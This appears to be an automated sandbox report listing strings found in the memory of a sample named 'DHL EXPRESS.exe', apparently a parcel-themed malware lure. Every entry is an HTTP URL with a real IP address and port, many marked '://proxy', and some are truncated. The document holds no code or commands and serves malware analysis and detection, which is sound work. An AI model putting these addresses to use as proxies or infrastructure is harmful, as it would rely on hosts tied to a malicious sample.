Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.199.90.225:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.207.123.94
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.207.123.94://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.207.123.94:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.237.210.215:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.237.210.215:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.72.118.126
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.134.91.82:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.134.91.82:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.229.100.73
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.229.100.73://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.229.100.73:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.104.1:13623
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.104.1:13623://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.211.1:55438
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.255.211.1:55438://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.37.244.41:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.37.244.41:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.132.9
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.132.91:3127
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.132.91:3127://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.22.18:8199
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.64.22.18:8199://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.133.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.133.19:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.133.19:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.36.252:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.66.36.252:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.14.19
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.14.195:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.14.195:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.27.189:39674
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.67.27.189:39674://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.7.252.165:3256
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.7.252.165:3256://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.90.61.224:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.90.61.224:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.117.59:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.117.59:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAA7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.148.36:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.91.148.36:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.193.189
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.193.189://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.92.193.189:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.94.81.111:33333
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.94.81.111:33333://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.189.165:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.189.165:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.48.45:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://36.95.48.45:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.133.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.133.137:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.133.137:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.140.158:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.140.158:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.187.59
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.187.59://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.187.59:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.189.106
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.189.106://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.189.106:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.192.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.192.154:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.192.154:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.120.222.132:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB821000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.148.217.234:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.148.217.234:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.152.163.95:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.152.163.95:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.156.146.163:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.156.146.163:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.156.28.4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.156.28.43:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.156.28.43:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.18.7
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.18.73.60:5566
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.18.73.60:5566://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAA28000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.24.201:81
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.24.201:81://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD950000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD9FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:12582
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:12582://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:41385
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.73.7:41385://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AADC8000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:10710
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:10710://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:13574
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:13574://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:14470
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:14470://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:18936
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:18936://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:19767://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:21861
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:21861://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:29380
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:29380://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:31355://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:3139
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:3139://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:37920
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:37920://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:59870
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:59870://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:64494
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.77.58:64494://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.88.32:8001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.88.32:8001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.207.45.15:48678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.207.45.15:48678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.221.94.83:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.221.94.83:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.228.65.107:32052
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.228.65.107:32052://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.235.48.19
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.235.48.19://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.235.48.19:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.26.223.96:9080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.40.178
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.40.178://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.40.178:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.98.16
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.98.160:37758
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.98.160:37758://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.98.160:8998
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAA8E000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.44.238.2:53471
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.44.238.2:53471://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.44.247.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.44.247.217:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.44.247.217:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.53.90.82:12542
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.53.90.82:12542://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.69.10
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.69.109:9090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.69.109:9090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.219:55994
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.219:55994://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.126:46656
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.126:46656://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.126:46656x
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.16:55994
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.16:55994://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.84:11537
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.84:11537://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.233.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.233.77:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.233.77:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.233.78:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.233.78:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.72.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.72.135:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.72.135:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.72.195:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.72.195:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.73.54:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.73.54:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.73.61:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.73.61:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.74.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.74.51:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.74.51:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.159.232.6:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.159.232.6:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.183.144.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.183.144.117:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.183.144.117:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.242.251.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.242.251.177:6270
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.242.251.177:6270://proxy
